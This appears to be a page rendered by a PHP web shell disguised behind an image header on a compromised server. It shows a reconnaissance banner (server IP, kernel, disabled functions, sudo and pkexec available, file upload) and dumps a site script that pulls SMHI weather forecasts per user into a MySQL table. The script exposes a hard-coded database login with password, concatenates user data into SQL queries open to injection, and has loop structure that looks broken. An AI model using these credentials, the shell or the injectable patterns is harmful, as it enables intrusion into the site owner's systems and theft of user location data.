????JFIF??x?x????'
| Server IP : 79.136.114.73 / Your IP : 216.73.216.36 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/appsrv.astacus.se/shellyctr/ |
Upload File : |
<?php
$mysqli = new mysqli("www.astacus.se", "carlhoffstedt", "Astacus2020!", "ShellyCTR");
$sql = "SELECT * FROM tblUsers";
$result = $mysqli->query($sql);
while($obj = $result->fetch_object()){
$lat = $obj->lat;
$lon = $obj->lon;
$Username = $obj->Username;
echo( $Username . " lat: ".$lat." lon: ".$lon."<br>");
$url = 'https://opendata-download-metfcst.smhi.se/api/category/pmp3g/version/2/geotype/point/lon/'.$lon.'/lat/'.$lat.'/data.json';
$JSON = file_get_contents($url);
$data = json_decode($JSON,true);
$data = $data['timeSeries'];
$array_lable = array();
$START = false;
$STOP = false;
foreach($data as $item) { //foreach element in $arr
$parameters = $item['parameters'];
foreach($parameters as $para){
if($para['name'] == "t"){
$lable = str_replace("T", " ",$item['validTime']);
$lable = str_replace("Z", "",$lable);
if(date("Y-m-d 00:00:00",strtotime("+1 day")) == $lable){
$START = true;
}
if(date("Y-m-d 00:00:00",strtotime("+2 day")) == $lable){
$STOP = true;
}
if($START == true && $STOP == false){
$array_lable[] = $lable;
}
}
}
}
$array_t = array();
$array_ws = array();
$array_tcc_mean = array();
foreach($data as $item) { //foreach element in $arr
$parameters = $item['parameters'];
foreach($parameters as $para){
if($para['name'] == "t"){
$lable = str_replace("T", " ",$item['validTime']);
$lable = str_replace("Z", "",$lable);
if(in_array($lable, $array_lable) == true){
$array_t[] = $para['values'][0];
}
}
if($para['name'] == "ws"){
$lable = str_replace("T", " ",$item['validTime']);
$lable = str_replace("Z", "",$lable);
if(in_array($lable, $array_lable) == true){
$array_ws[] = $para['values'][0];
}
}
if($para['name'] == "tcc_mean"){
$lable = str_replace("T", " ",$item['validTime']);
$lable = str_replace("Z", "",$lable);
if(in_array($lable, $array_lable) == true){
$array_tcc_mean[] = $para['values'][0];
}
}
}
}
$x = 0;
$array_t_effektiv = array();
foreach($array_lable as $item) { //foreach element in $arr
//$array_t[$x]+$array_ws[$x]
if($array_t[$x] > 10 && $array_ws[$x] < 2){
$T_eff = $array_t[$x];
}else{
$T_eff = round(13.12+0.6125*$array_t[$x] - 13.956*pow($array_ws[$x],0.16) + 0.48669*$array_t[$x]*pow($array_ws[$x],0.16),1);
}
$array_t_effektiv[] = $T_eff;
$x = $x + 1;
}
}
$x = 0;
foreach($array_lable as $lable){
$lable = str_replace("T", " ",$lable);
$lable = str_replace("Z", "",$lable);
$lable2 = date("Y-m-d H:i:s",strtotime($lable . " +1 hour"));
//echo( $lable2 . " - ". date("Y-m-d 00:00:00", strtotime("+2 day +1 hour")));
if($lable2 == date("Y-m-d 00:00:00", strtotime("+2 day +1 hour"))){ // FIX 2023-12-16 00:00:00 -> 2023-12-15 24:00:00
$lable2 = date("Y-m-d 24:00:00",strtotime("+1 day"));
}
$t = $array_t[$x];
$ws = $array_ws[$x];
$t_effektiv = $array_t_effektiv[$x];
$tcc_mean = $array_tcc_mean[$x];
$sql = "SELECT * FROM tblSMHI WHERE Username = '".$Username."' and startTime = '".$lable."';";
$result = $mysqli->query($sql);
$v = "null";
while($obj = $result->fetch_object()){
$v = $obj->value;
$SMHIId = $obj->SMHIId;
}
if($v == "null"){
$sql = "INSERT INTO tblSMHI VALUES (null,'".$Username."','".$lable."','".$lable2."','".$t."','".$ws."','".$t_effektiv."','".$tcc_mean."');";
echo($sql."<br>");
$mysqli->query($sql);
}else{
$sql = "UPDATE tblSMHI SET t = '".$t."',ws = '".$ws."',t_effective = '".$t_effektiv."',tcc_mean = '".$tcc_mean."' WHERE SMHIId = $SMHIId;";
echo($sql."<br>");
$mysqli->query($sql);
}
$x++;
}
?>